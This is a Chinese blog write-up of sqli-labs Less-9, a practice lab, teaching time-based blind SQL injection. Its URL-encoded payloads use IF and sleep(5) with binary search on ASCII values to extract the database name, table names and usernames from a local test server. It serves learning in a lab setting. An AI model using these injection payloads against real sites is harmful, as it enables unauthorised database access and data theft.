zoukankan      html  css  js  c++  java
  • sqli-labs(9)

    基于时间的GET单引号盲注

    0x01爱之初试探

    在我们注入了SQL代码之后,存在以下两种情况:

    • 如果注入的SQL代码不影响后台[数据库]的正常功能执行,那么Web应用的页面显示正确(原始页面)。
    • 如果注入的SQL代码影响后台数据库的正常功能(产生了SQL注入),但是此时Web应用的页面依旧显示正常(原因是Web应用程序采取了“重定向”或“屏蔽”措施)。

    接下来,学习基于时间型SQL盲注。

    我们在这里使用IF(查询语句,1,sleep(5)),即如果我们的查询语句为真,那么直接返回结果;如果我们的查询语句为假,那么过5秒之后返回页面。所以我们就根据返回页面的时间长短来判断我们的查询语句是否执行正确,即我们的出发点就回到了之前的基于布尔的SQL盲注,也就是构造查询语句来判断结果是否为真。

    0x02爱之初体验

    步骤一 枚举出当前数据库名

    先判断能不能基于时间盲注来展开注入错误的语句 等了5秒才返回的 能基于时间的错误进行盲注

    http://127.0.0.1/sql1/Less-9/?id=1%27%20and%20sleep(5)%20%23

    爆当前数据库民称 这里我们使用二分法进行

    http://127.0.0.1/sql1/Less-9/?id=1%27%20and%20if(ascii(substr(database(),1,1))%3E114,%200,sleep(5))%20%23

    立刻返回 证明第一个字母大于114

    http://127.0.0.1/sql1/Less-9/?id=1%27%20and%20if(ascii(substr(database(),1,1))%3E115,%200,sleep(5))%20%23

    过了5秒才返回 证明字母小<115 应该是ascii115 s

    这里我们假设我们把库民报出来了 我们要爆表民

    0X02爆表名

    http://127.0.0.1/sql1/Less-9/?id=1%27%20and%20if(ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27security%27%20limit%200,1),1,1))%3E100,%200,sleep(5))%20%23

    直接返回大于100

    http://127.0.0.1/sql1/Less-9/?id=1%27%20and%20if(ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27security%27%20limit%200,1),1,1))%3E105,%200,sleep(5))%20%23

    过了5秒才返回  那么这是错误的

    101-105之间

    这里就不一一举例了

    爆列名 一样的构造方法

    这里来看一下爆字段的语句构造方法

    http://127.0.0.1/sql1/Less-9/?id=1%27%20and%20if(ascii(substr((select%20username%20from%20users%20limit%200,1),1,1))%3E100,%200,sleep(5))%20%23

    这里 小编还是想去写一个脚本

    等以后发出来吧

  • 相关阅读:
    P1182 数列分段Section II
    P1119 灾后重建
    P1133 教主的花园
    P1077 摆花
    P2002 消息扩散
    P2341 [HAOI2006]受欢迎的牛(tarjan+缩点)
    luoguP1726 上白泽慧音
    P1053 篝火晚会
    P2296 寻找道路
    P1156 垃圾陷阱
  • 原文地址:https://www.cnblogs.com/-zhong/p/10909853.html
Copyright © 2011-2022 走看看